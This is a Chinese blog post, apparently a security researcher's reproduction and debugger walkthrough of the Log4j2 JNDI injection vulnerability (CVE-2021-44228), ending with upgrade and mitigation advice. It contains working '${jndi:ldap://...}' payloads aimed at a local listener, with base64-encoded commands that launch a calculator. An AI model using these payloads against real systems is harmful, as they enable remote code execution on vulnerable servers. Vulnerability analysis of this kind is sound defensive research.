Log4j2(CVE-2021-44228)漏洞复现

noob
2022-10-07 / 0 评论 / 118 阅读 / 正在检测是否收录...

l8y6399r.png

原理

Apache log4j 2是一个就Java的日志记录工具。存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

环境

jdk7u21

Apache Log4j 2.x <= 2.15.0-rc1

分析

调用栈

exec:483, Runtime (java.lang)
<init>:-1, Exploit10Q2cCwLFy
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:525, Constructor (java.lang.reflect)
newInstance0:374, Class (java.lang)
newInstance:327, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:198, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:341, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:240, PatternLayout (org.apache.logging.log4j.core.layout)
encode:225, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:162, Logger (org.apache.logging.log4j.core)
tryLogMessage:2190, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2144, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2127, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2003, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1975, AbstractLogger (org.apache.logging.log4j.spi)
error:732, AbstractLogger (org.apache.logging.log4j.spi)
main:22, log4j2rce (log4j)

使用Logger.error()报错,写入payload并打下断点,开始debug

l8y63lu1.png

可以看到我们的payload存入了message中

l8y63wdx.png

也就是说,我们需要查看调用方法对于message的操作,error()调用了logIfEnabled()方法,跟进后可以看到进行了一个if判断,isEnabled()是查看是否规则,判断为true,进入logMessage()方法,调用logMessageSafely()方法,跟进

l8y647ic.png

l8y64f2i.png

跟进后发现调用logMessageTrackRecursion(),跟进后,看到tryLogMessage()对message进行了操作,跟进

l8y64pq4.png

l8y64vp8.png

看到是一个异常处理结构,调用Logger.log()报错进行了处理,跟进查看,发现调用AwaitCompletionReliabilityStrategy.log()方法对message进行处理,跟进

l8y652mc.png

跟进后,看到调用LoggerConfig.log()方法,跟进,这里mseeage变成了data并存入了event,这里就是将之前的报错存入event并调用重写的log()方法,跟进可以看到调用processLogEvent()方法对event进行处理,跟进

l8y65b5z.png

l8y65jz9.png

l8y65qld.png

跟进后,看到调用callAppenders()对event进行了处理,跟进,看到将信息存入一个数组,并对数组通过callAppender()进行了处理,跟进该方法,发现调用callAppenderPreventRecursion()进行了处理,继续跟进,可以看到调用claaAppender0()方法进行处理,跟进,发现调用AppenderControl.tryCallAppender(),跟进

l8y65y1t.png

l8y6663y.png

l8y677cp.png

跟进后看到调用tryAppend(),继续跟进,调用AbstractOutputStreamAppender.directEncodeEvent()方法,跟进,看到PatternLayout.encode()对event进行了处理,跟进,调用toText()处理,跟进后,看到对event进行了序列化处理,跟进toSerializable()方法

l8y67ozz.png

l8y67w4b.png

l8y682ch.png

l8y687wd.png

进入到toSerializable()方法,进入循环,调用PatternFormatter.format()处理event的每一段信息,这里我在处理到i=8时,调用MessagePatternConverter.format()这里是对$和{}进行处理,可以看到获取到长度之后,调用了StrSubstitutor.replace()方法,跟进查看,发现处理后会调用substiute()方法,并返回值,跟进

l8y68gh1.png

l8y68nce.png

l8y68zob.png

l8y695hv.png

跟进后发现是一个很长的方法,大概的意思就是对刚才截取到的$和{}进行处理,而且这里是个递归处理,可以在方法体中看到对substiute()做了第二次调用,这里调用的目的就是为了防止处理一次之后仍然存在$和{},然后持续步进直到处理完成,可以看到之前输入的payload已经没有了$和{}

l8y69lou.png

l8y69xhh.png

l8y6a7jp.png

处理完之后,payload在varName中,然后看到调用resolveVariable()方法对varName进行处理,跟进,发现了lookup()被调用并处理了event,跟进

l8y6aoxt.png

l8y6axld.png

可以看到Interpolator.lookup()对去掉$和{}的event进行了处理,如图,先是识别前缀为jndi,然后获取上面的jndi,然后继续向下处理,来到value这里,查看值为false,所以是进入第二个lookup进行处理,跟进,看到了调用,然后就看到了JNDI注入点了,结束

l8y6b4vc.png

l8y6bay2.png

l8y6bkgd.png

其他支持的类

在走到resolveVariable()时,我们可以看到getVaribleResolver()方法,跟进后,在他的strLookupMap中可以看到支持的前缀

l8y6c025.png

l8y6c62k.png

记录等级

看大佬讲解,像之前百度搜索引擎直接可以打到dnslog,显然并不是由于报错导致的,也能攻击成功,这里说明了非报错也被记录了,因此去看下原因。

logIfEnabled()处,跟进isEnabled()方法,再跟进filter()方法,看到有一个intLevel和level.intLavel的比较,此处我们使用什么类型的信息,intLevel就会是什么记录等级,而level.intLevel是我们设置的记录等级,因此要想触发一些类型的信息,可以修改记录等级,或者是log4j2.xml

l8y6cch5.png

l8y6ci4j.png

l8y6cp39.png

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Test {
    private static Logger logger = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        
        Configurator.setLevel("Test", Level.INFO);
        logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
    }
}

log4j2.xml修改


<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
    <appenders>
        <console name="STDOUT" target="SYSTEM_OUT">
            <PatternLayout>
                <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
            </PatternLayout>
        </console>
    </appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="STDOUT"/>
        </Root>
    </Loggers>
</Configuration>
复现

监听1389端口

l8y6czn0.png

payload:*LOGGER*.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y2FsYw==}");

l8y6d6vv.png

修复建议
  1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本
  2. 升级 JDK 版本,建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本,从根源上杜绝大部分常规的 JNDI 注入

临时措施

  1. 在 jvm 参数中添加 Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】
  2. 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】
  3. 创建log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true【针对 2.10.0 及以上的版本】
  4. 限制受影响应用对外访问互联网
1

评论 (0)

取消